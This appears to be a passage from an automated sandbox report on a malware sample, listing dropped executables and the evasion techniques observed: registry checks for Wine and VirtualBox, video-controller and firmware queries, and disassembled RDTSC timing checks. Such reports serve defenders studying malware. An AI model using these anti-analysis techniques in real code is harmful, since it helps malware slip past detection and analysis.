Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_5-9723
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_4-12466

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 6BEEA5 second address: 6BEEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 6BEEAB second address: 6BEEC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F51C4C06D2Ch 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 6BEEC0 second address: 6BEECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F51C451A5F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 81F67D second address: 81F681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83748C second address: 837490 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 837490 second address: 837496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83A845 second address: 83A86E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ch, dl 0x00000009 push 00000000h 0x0000000b jl 00007F51C451A5FCh 0x00000011 or dword ptr [ebp+122D3495h], esi 0x00000017 push 8430944Ah 0x0000001c pushad 0x0000001d jns 00007F51C451A5F8h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83A86E second address: 83A872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83A872 second address: 83A8D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 7BCF6C36h 0x0000000e call 00007F51C451A5FAh 0x00000013 mov edi, dword ptr [ebp+122D2D51h] 0x00000019 pop edx 0x0000001a push 00000003h 0x0000001c mov dword ptr [ebp+122D2696h], eax 0x00000022 push 00000000h 0x00000024 mov edi, dword ptr [ebp+122D2D75h] 0x0000002a cld 0x0000002b push 00000003h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007F51C451A5F8h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 call 00007F51C451A5F9h 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83A8D2 second address: 83A8D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83A8D6 second address: 83A8DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83A8DA second address: 83A90F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F51C4C06D31h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e ja 00007F51C4C06D2Ch 0x00000014 pop eax 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 je 00007F51C4C06D40h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83A90F second address: 83A913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83A913 second address: 83A968 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4C06D2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnp 00007F51C4C06D45h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 pushad 0x00000017 jmp 00007F51C4C06D34h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83A968 second address: 83A992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F51C451A5FCh 0x0000000b popad 0x0000000c pop eax 0x0000000d mov esi, dword ptr [ebp+122D28A1h] 0x00000013 lea ebx, dword ptr [ebp+1244F728h] 0x00000019 mov esi, dword ptr [ebp+122D2F15h] 0x0000001f push eax 0x00000020 pushad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AA17 second address: 83AA2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4C06D2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F51C4C06D26h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AA2E second address: 83AA32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AA32 second address: 83AA98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F51C4C06D2Ch 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F51C4C06D28h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 xor edi, dword ptr [ebp+122D2E71h] 0x0000002e mov edx, dword ptr [ebp+122D28A1h] 0x00000034 push 00000000h 0x00000036 movsx edx, si 0x00000039 sbb esi, 6CE8C147h 0x0000003f push 6B528546h 0x00000044 pushad 0x00000045 jmp 00007F51C4C06D2Dh 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AA98 second address: 83AB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xor dword ptr [esp], 6B5285C6h 0x0000000d mov edi, 65F0960Bh 0x00000012 push 00000003h 0x00000014 xor edx, 1293B5C1h 0x0000001a push 00000000h 0x0000001c mov esi, dword ptr [ebp+122D2DA9h] 0x00000022 push 00000003h 0x00000024 jmp 00007F51C451A5FEh 0x00000029 call 00007F51C451A5F9h 0x0000002e ja 00007F51C451A60Eh 0x00000034 push eax 0x00000035 jne 00007F51C451A5FEh 0x0000003b mov eax, dword ptr [esp+04h] 0x0000003f jnc 00007F51C451A608h 0x00000045 mov eax, dword ptr [eax] 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F51C451A607h 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AB38 second address: 83AB45 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F51C4C06D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AB45 second address: 83ABAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007F51C451A603h 0x0000000f pop eax 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F51C451A5F8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a lea ebx, dword ptr [ebp+1244F731h] 0x00000030 mov ecx, esi 0x00000032 xchg eax, ebx 0x00000033 jl 00007F51C451A603h 0x00000039 jmp 00007F51C451A5FDh 0x0000003e push eax 0x0000003f jc 00007F51C451A604h 0x00000045 push eax 0x00000046 push edx 0x00000047 jns 00007F51C451A5F6h 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AC15 second address: 83AC1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AC1B second address: 83AC87 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F51C451A5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F51C451A601h 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F51C451A5F8h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D256Fh], ebx 0x0000003b push 00000000h 0x0000003d call 00007F51C451A5F9h 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F51C451A603h 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AC87 second address: 83AC8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AC8E second address: 83ACB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnc 00007F51C451A605h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83ACB4 second address: 83ACB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83ACB8 second address: 83AD3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F51C451A606h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e jne 00007F51C451A600h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pop eax 0x00000020 pop eax 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F51C451A5F8h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b mov edi, dword ptr [ebp+122D2C99h] 0x00000041 adc si, AAD1h 0x00000046 push 00000003h 0x00000048 mov dword ptr [ebp+122D1F97h], edi 0x0000004e push 00000000h 0x00000050 mov cx, si 0x00000053 push 00000003h 0x00000055 call 00007F51C451A5F9h 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e pop eax 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AD3F second address: 83AD43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AD43 second address: 83AD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AD4C second address: 83AD7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 jbe 00007F51C4C06D32h 0x0000000d jmp 00007F51C4C06D2Ch 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F51C4C06D30h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AD7D second address: 83AD81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AD81 second address: 83AD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AD87 second address: 83AD8C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83AD8C second address: 83ADAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F51C4C06D33h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83ADAC second address: 83ADB6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F51C451A5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 83ADB6 second address: 83ADBB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 84C26D second address: 84C277 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F51C451A5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 84C277 second address: 84C27C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85A745 second address: 85A749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85A749 second address: 85A74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 858BFF second address: 858C2B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F51C451A5F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 jmp 00007F51C451A606h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 858C2B second address: 858C31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
